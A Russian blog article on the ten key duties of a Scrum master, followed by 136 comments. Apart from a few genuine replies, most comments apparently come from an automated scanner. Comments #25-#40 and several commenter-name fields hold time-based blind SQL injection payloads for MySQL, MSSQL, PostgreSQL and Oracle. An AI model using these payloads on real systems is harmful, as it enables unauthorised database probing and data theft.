Ключевые обязанности Scrum-мастера

Работа Скрам-мастера – полная занятость или же её можно совмещать?

 

Прежде чем мы ответим на главный вопрос о занятости, давайте сначала попробуем понять, зачем роль Скрам-мастера вообще нужна.

 

Ниже кратко приведены десять основных обязанностей, на которых хороший Scrum-мастер фокусируется ежедневно:


1. Выполнение Скрам процесса

Он знает и понимает Scrum, обучает ему команду, а также всех окружающих проект.

Он помогает команде корректно использовать каркас Scrum и получать выгоды от идей эмпирической разработки продуктов.

2. Фасилитация командных встреч

Скрам-мастер не просто единственный человек, который выступает на встречах в роли фасилитатора (иначе он станет узким местом процесса, и всё упрётся в его доступность), хотя подразумевается, что Скрам-мастер – фасилитатор командных встреч  умолчанию.

 

Для того, чтобы у команды разработки и других стейкхолдеров выработалось общее понимание работы и процессов, критично важно проводить результативные обсуждения в рамках отведённых встреч, а также развивать методы кооперации между участниками процесса.

 

Это вторая важнейшая ответственность Скрам-мастера. Он – мастер взаимодействия.

3. Проведение ретроспектив

У Скрам команды есть одна самая важная встреча – ретроспектива спринта. Сам факт наличия большого количества книг по этой теме подтверждает её важность.

 

Но почему? Потому что Scrum - это не процесс разработки продуктов, это «метапроцесс». Он помогает команде проектировать свой процесс, который подходит под конкретную проектную ситуацию. Этот процесс должен проистекать постоянно.

 

Поэтому без непрерывного критического рассмотрения и адаптации текущего процесса, команда застрянет в посредственности – “как-то что-то иногда работает, ну и ладно”.

4. Донесение «большой картинки» до команды

Команде разработки очень просто запутаться во всех этих Скрам церемониях, артефактах, ролях, препятствиях, а им хорошо бы ещё успевать и работающий продукт поставлять в срок. Поэтому команде продуктоводов компании (её может представлять Product owner) с помощью Scrum-мастера важно находить время для объяснения и презентации общей картины того, что происходит.

 

Помните, что все мы люди, и нам для поддержания факторов внутренней мотивации, очень важно понимать, зачем мы делаем ту или иную работу. Это мотивация цели.

5.  Поиск ценности продукта

«Если вы не знаете, что за продукт вы разрабатываете, Scrum поможет вам разрабатывать его ещё быстрее». Печально, но правда.

Хороший ScrumMaster уделяет время коучингу и менторству Владельца продукта (и других продуктоводов компании), чтобы они освоили такие инструменты как  Lean Startup, Lean UX, Customer Development. Но для этого, конечно, необходимо, чтобы Скрам-мастер прежде освоил их сам.

6. Личный коучинг членов команды разработки

Не все вопросы можно решить на  ежедневных стендапах и ретроспетивах. И не всё стоит обсуждать при всех (к сожалению, я пришёл к этому выводу сам довольно поздно в своей карьере).

Индивидуальный коучинг (например, модель Сo-active coaching model) – ещё одна из жизненно необходимых способностей, которые стоит освоить Скрам-мастеру.

 

В противном случае общение будет ограничено не потенциалом команды, а интеллектуальными способностями Scrum-мастера.

7. Усиление обучения на всех уровнях

Наша цель – создание не просто счастливой команды, классного продукта и устойчивых процессов, а чего-то большего – обучающейся организации.
А это значит, что придётся работать со всеми в компании. Придётся выйти за рамки своей команды, своего продукта, своей комнаты...

8. Изменение среды

Есть поговорка: «Поменяйте компанию или … поменяйте компанию».

 

Scrum – всего лишь серия цепочек обратной связи, с помощью которых мы можем увидеть собственную неэффективность. Если мы не отнесёмся к этой обратной связи серьёзно, мы не сможем улучшить наши компании. Серьёзное отношение подразумевает не только красивую визуализацию на стикерах и плакатах, а непосредственную (тяжёлую) работу по изменении компании - её правил, привычек, культуры, структуры.

9. Лавирование между конфликтами

Скрам заставляет людей разговаривать друг с другом. И, если вы всё делаете правильно, некоторые коллеги решать впервые что-то обсудить.

 

И что, вы думаете, случится, когда они надумают вдруг заговорить друг с другом? Они начнут делиться своими мыслями, опасениями, надеждами, идеями.... Это несомненно то, чего мы так хотим – помочь людям начать общаться и строить общую картину (если не мира, то хотя бы текущего проекта).

 

Проблема же состоит в том, что каждый из нас живёт в своей реальности, поэтому вполне естественно, что наши мысли отличаются. А отличия порождают противоречия. А вовремя неурегулированные противоречия влекут за собой конфликты.

 

Для творческой среды конфликты даже полезны, но важно, чтобы они не перерастали в ядерные войны в командах. Достаточно здравых, конструктивных конфликтов.

 

Помочь команде оставаться на уровне конструктивных несогласий – очень важная задача Скрам-мастера.

10. Отзеркаливание и катализация роста

Представим, что Скрам-мастер держит в руках зеркало, в котором команды и организация могут увидеть себя. А это значит, что ему нужны инструменты, которые помогут создать отражение: проверки состояния команды и другие разнообразные оценки гибкости команды., Открытость информации приводит к информированности.

 

В данном случае все средства хороши, но важно, чтобы они были аутентичными, простыми, и подходили под культуру текущей команды и компании. Дизайн таких инструментов – важная задача.

 

Информированность подталкивает к изменениям. Развитие происходит ежедневно и на разных уровнях организации. Вот зачем нужны Скрам-мастера: подталкивать развитие, замечать его малейшие проявления, отзеркаливать и усиливать их,  и, конечно же, праздновать покорение новых вершин и земель.

Чтобы быть Scrum-мастером, мало просто выполнять основные обязанности.

 

Скрам-мастерство – это способ смотреть на окружающий мир и мир работы в частности, с фокусом на постоянное его улучшение для людей и руками людьми, которые в нём живут.

 

Это не работа с 9 до 6.

 

Это – мировоззрение.

Статья от 11/2016 переопубликована с сайта http://www.agiletrainings.eu

Узнать больше о роли SM, ещё больше!


Write a comment

Comments: 136
  • #1

    Igor (Wednesday, 30 May 2018 17:43)

    Класс. Отлично написано. Вдохновляюще.
    Спасибо.

  • #2

    Дмитрий (Monday, 25 June 2018 13:35)

    Круто!
    И где можно найти такого мастера?
    Для него есть работа.
    dmitry.savchenko@factorymarket.com

  • #3

    Василий (Tuesday, 09 October 2018 16:46)

    Скрам мастеров очень не хватает
    https://habr.com/post/421513/

  • #4

    ZMskyuza (Wednesday, 26 October 2022 17:25)

    20

  • #5

    ZMskyuza (Wednesday, 26 October 2022 20:18)

    20

  • #6

    ZMskyuza (Wednesday, 26 October 2022 20:18)

    20

  • #7

    ZMskyuza (Wednesday, 26 October 2022 20:20)

    20

  • #8

    ZMskyuza (Wednesday, 26 October 2022 20:20)

    20

  • #9

    ZMskyuza (Wednesday, 26 October 2022 20:21)

    20

  • #10

    ZMskyuza (Wednesday, 26 October 2022 20:22)

    20

  • #11

    ZMskyuza (Wednesday, 26 October 2022 20:23)

    20

  • #12

    ZMskyuza (Wednesday, 26 October 2022 20:23)

    20

  • #13

    ZMskyuza (Wednesday, 26 October 2022 20:24)

    20

  • #14

    ZMskyuza (Wednesday, 26 October 2022 20:25)

    20

  • #15

    ZMskyuza (Wednesday, 26 October 2022 20:26)

    20

  • #16

    ZMskyuza (Wednesday, 26 October 2022 20:27)

    20

  • #17

    ZMskyuza (Wednesday, 26 October 2022 20:28)

    20

  • #18

    ZMskyuza (Wednesday, 26 October 2022 20:29)

    20

  • #19

    ZMskyuza (Wednesday, 26 October 2022 20:30)

    20

  • #20

    ZMskyuza (Wednesday, 26 October 2022 20:30)

    20

  • #21

    ZMskyuza (Wednesday, 26 October 2022 20:31)

    20

  • #22

    ZMskyuza (Wednesday, 26 October 2022 20:32)

    20

  • #23

    ZMskyuza (Wednesday, 26 October 2022 20:33)

    20

  • #24

    ZMskyuza (Wednesday, 26 October 2022 20:33)

    20

  • #25

    ZMskyuza (Wednesday, 26 October 2022 20:34)

    if(now()=sysdate(),sleep(15),0)

  • #26

    ZMskyuza (Wednesday, 26 October 2022 20:35)

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • #27

    ZMskyuza (Wednesday, 26 October 2022 20:36)

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • #28

    ZMskyuza (Wednesday, 26 October 2022 20:37)

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • #29

    ZMskyuza (Wednesday, 26 October 2022 20:37)

    -1; waitfor delay '0:0:15' --

  • #30

    ZMskyuza (Wednesday, 26 October 2022 20:38)

    -1); waitfor delay '0:0:15' --

  • #31

    ZMskyuza (Wednesday, 26 October 2022 20:39)

    1 waitfor delay '0:0:15' --

  • #32

    ZMskyuza (Wednesday, 26 October 2022 20:40)

    Jq4IXiOY'; waitfor delay '0:0:15' --

  • #33

    ZMskyuza (Wednesday, 26 October 2022 20:41)

    -5 OR 571=(SELECT 571 FROM PG_SLEEP(15))--

  • #34

    ZMskyuza (Wednesday, 26 October 2022 20:42)

    -5) OR 948=(SELECT 948 FROM PG_SLEEP(15))--

  • #35

    ZMskyuza (Wednesday, 26 October 2022 20:42)

    -1)) OR 207=(SELECT 207 FROM PG_SLEEP(15))--

  • #36

    ZMskyuza (Wednesday, 26 October 2022 20:43)

    wcQNI97q' OR 125=(SELECT 125 FROM PG_SLEEP(15))--

  • #37

    ZMskyuza (Wednesday, 26 October 2022 20:44)

    OnjdTHjY') OR 484=(SELECT 484 FROM PG_SLEEP(15))--

  • #38

    ZMskyuza (Wednesday, 26 October 2022 20:45)

    x4a4EHrp')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--

  • #39

    ZMskyuza (Wednesday, 26 October 2022 20:45)

    20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • #40

    ZMskyuza (Wednesday, 26 October 2022 20:46)

    20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • #41

    ZMskyuza (Wednesday, 26 October 2022 20:47)

    20

  • #42

    ZMskyuza (Wednesday, 26 October 2022 20:48)

    20

  • #43

    ZMskyuza (Wednesday, 26 October 2022 20:48)

    20

  • #44

    ZMskyuza (Wednesday, 26 October 2022 20:49)

    20

  • #45

    ZMskyuza (Wednesday, 26 October 2022 20:50)

    20

  • #46

    ZMskyuza (Wednesday, 26 October 2022 20:51)

    20

  • #47

    ZMskyuza (Wednesday, 26 October 2022 20:52)

    20

  • #48

    ZMskyuza (Wednesday, 26 October 2022 20:52)

    20

  • #49

    ZMskyuza (Wednesday, 26 October 2022 20:53)

    20

  • #50

    ZMskyuza (Wednesday, 26 October 2022 20:54)

    20

  • #51

    ZMskyuza (Wednesday, 26 October 2022 20:55)

    20

  • #52

    ZMskyuza (Wednesday, 26 October 2022 20:56)

    20

  • #53

    ZMskyuza (Wednesday, 26 October 2022 20:56)

    20

  • #54

    ZMskyuza (Wednesday, 26 October 2022 20:57)

    20

  • #55

    ZMskyuza (Wednesday, 26 October 2022 20:58)

    20

  • #56

    ZMskyuza (Wednesday, 26 October 2022 20:59)

    20

  • #57

    ZMskyuza (Wednesday, 26 October 2022 21:00)

    20

  • #58

    ZMskyuza (Wednesday, 26 October 2022 21:00)

    20

  • #59

    ZMskyuza (Wednesday, 26 October 2022 21:01)

    20

  • #60

    ZMskyuza (Wednesday, 26 October 2022 21:02)

    20

  • #61

    ZMskyuza (Wednesday, 26 October 2022 21:03)

    20

  • #62

    ZMskyuza (Wednesday, 26 October 2022 21:03)

    20

  • #63

    ZMskyuza (Wednesday, 26 October 2022 21:04)

    20

  • #64

    ZMskyuza (Wednesday, 26 October 2022 21:05)

    20

  • #65

    ZMskyuza (Wednesday, 26 October 2022 21:06)

    20

  • #66

    ZMskyuza (Wednesday, 26 October 2022 21:07)

    20

  • #67

    ZMskyuza (Wednesday, 26 October 2022 21:07)

    20

  • #68

    ZMskyuza (Wednesday, 26 October 2022 21:08)

    20

  • #69

    ZMskyuza (Wednesday, 26 October 2022 21:09)

    20

  • #70

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #71

    ZMskyuza (Wednesday, 26 October 2022 21:10)

    20

  • #72

    ZMskyuza (Wednesday, 26 October 2022 21:11)

    20

  • #73

    ZMskyuza (Wednesday, 26 October 2022 21:25)

    20

  • #74

    ZMskyuza (Wednesday, 26 October 2022 21:26)

    20

  • #75

    if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 21:27)

    20

  • #76

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 21:28)

    20

  • #77

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 21:29)

    20

  • #78

    1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 21:31)

    20

  • #79

    ZSlNIDcQ'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 21:31)

    20

  • #80

    GN96Nvli' OR 519=(SELECT 519 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:32)

    20

  • #81

    1NtwOlz2') OR 933=(SELECT 933 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:33)

    20

  • #82

    BvnXxnPp')) OR 613=(SELECT 613 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:34)

    20

  • #83

    ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 21:35)

    20

  • #84

    ZMskyuza (Wednesday, 26 October 2022 21:36)

    20

  • #85

    ZMskyuza (Wednesday, 26 October 2022 21:37)

    20

  • #86

    ZMskyuza (Wednesday, 26 October 2022 21:37)

    20

  • #87

    ZMskyuza (Wednesday, 26 October 2022 21:38)

    20

  • #88

    ZMskyuza (Wednesday, 26 October 2022 21:39)

    20

  • #89

    ZMskyuza (Wednesday, 26 October 2022 21:40)

    20

  • #90

    ZMskyuza (Wednesday, 26 October 2022 21:41)

    20

  • #91

    ZMskyuza (Wednesday, 26 October 2022 21:41)

    20

  • #92

    ZMskyuza (Wednesday, 26 October 2022 21:42)

    20

  • #93

    ZMskyuza (Wednesday, 26 October 2022 21:43)

    20

  • #94

    ZMskyuza (Wednesday, 26 October 2022 21:44)

    20

  • #95

    ZMskyuza (Wednesday, 26 October 2022 21:45)

    20

  • #96

    ZMskyuza (Wednesday, 26 October 2022 21:46)

    20

  • #97

    ZMskyuza (Wednesday, 26 October 2022 21:47)

    20

  • #98

    ZMskyuza (Wednesday, 26 October 2022 21:48)

    20

  • #99

    ZMskyuza (Wednesday, 26 October 2022 21:48)

    20

  • #100

    ZMskyuza (Wednesday, 26 October 2022 21:49)

    20

  • #101

    ZMskyuza (Wednesday, 26 October 2022 21:50)

    20

  • #102

    ZMskyuza (Wednesday, 26 October 2022 21:51)

    20

  • #103

    ZMskyuza (Wednesday, 26 October 2022 21:52)

    20

  • #104

    ZMskyuza (Wednesday, 26 October 2022 21:53)

    20

  • #105

    ZMskyuza (Wednesday, 26 October 2022)

    20

  • #106

    ZMskyuza (Wednesday, 26 October 2022 21:54)

    20

  • #107

    ZMskyuza (Wednesday, 26 October 2022 21:55)

    20

  • #108

    ZMskyuza (Wednesday, 26 October 2022 21:56)

    20

  • #109

    ZMskyuza (Wednesday, 26 October 2022 21:56)

    20

  • #110

    ZMskyuza (Wednesday, 26 October 2022 21:57)

    20

  • #111

    ZMskyuza (Wednesday, 26 October 2022 21:58)

    20

  • #112

    ZMskyuza (Wednesday, 26 October 2022 21:58)

    20

  • #113

    ZMskyuza (Wednesday, 26 October 2022 21:59)

    20

  • #114

    ZMskyuza (Wednesday, 26 October 2022 22:00)

    20

  • #115

    ZMskyuza (Wednesday, 26 October 2022 22:01)

    20

  • #116

    ZMskyuza (Wednesday, 26 October 2022 22:02)

    20

  • #117

    ZMskyuza (Wednesday, 26 October 2022 22:03)

    20

  • #118

    ZMskyuza (Wednesday, 26 October 2022 22:04)

    20

  • #119

    ZMskyuza (Wednesday, 26 October 2022 22:04)

    20

  • #120

    ZMskyuza (Wednesday, 26 October 2022 22:05)

    20

  • #121

    ZMskyuza (Wednesday, 26 October 2022 22:06)

    20

  • #122

    ZMskyuza (Wednesday, 26 October 2022 22:07)

    20

  • #123

    ZMskyuza (Wednesday, 26 October 2022 22:08)

    20

  • #124

    ZMskyuza (Wednesday, 26 October 2022 22:09)

    20

  • #125

    ZMskyuza (Wednesday, 26 October 2022 22:09)

    20

  • #126

    ZMskyuza (Wednesday, 26 October 2022 22:10)

    20

  • #127

    ZMskyuza (Wednesday, 26 October 2022 22:11)

    20

  • #128

    ZMskyuza (Wednesday, 26 October 2022 22:12)

    20

  • #129

    ZMskyuza (Wednesday, 26 October 2022 22:12)

    20

  • #130

    ZMskyuza (Wednesday, 26 October 2022 22:13)

    20

  • #131

    ZMskyuza (Wednesday, 26 October 2022 22:14)

    20

  • #132

    ZMskyuza (Wednesday, 26 October 2022 22:21)

    20

  • #133

    ZMskyuza (Wednesday, 26 October 2022 23:19)

    20

  • #134

    ZMskyuza (Wednesday, 26 October 2022 23:57)

    20

  • #135

    ZMskyuza (Thursday, 27 October 2022 01:24)

    20

  • #136

    ZMskyuza (Thursday, 27 October 2022 02:39)

    20